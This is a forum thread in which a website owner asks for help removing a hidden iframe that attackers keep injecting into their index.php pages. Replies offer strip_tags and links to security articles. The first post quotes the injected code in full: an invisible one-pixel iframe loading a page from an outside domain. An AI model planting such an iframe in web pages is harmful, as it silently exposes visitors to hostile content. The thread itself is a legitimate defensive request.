Need help for fighting against an attack

Hello everyone,

Some attackers are somehow able to put this piece of code to my index.php's.

<iframe src="http://litetopfindworld.cn/in.cgi?cocacola48" width=1 height=1 style="visibility: hidden"></iframe>

I know I should first find out how they did it and remove the security problem and working on it but I could find out how they did it and got stuck.

So what I'm asking here is, if someone could suggest a piece of php code to check a .php page for <iframe> tags and remove everything in <iframe> tags altogether from the page. I know some basics about php but could not figure this out while also trying to find the security problem in my systems.

Thanks in advance.

 

Is there a forum etc on your site? then try

$postdata_from_forum = strip_tags($postdata_from_forum);

 

http://www.gotroot.com/tiki-read_article.php?articleId=278

 

but do you want to delete all this comments already posted?
or some workaround to prevent more comments like that?

 

read the security series im writing: http://www.sitetalkzone.com/showthread.php?p=12838#post12838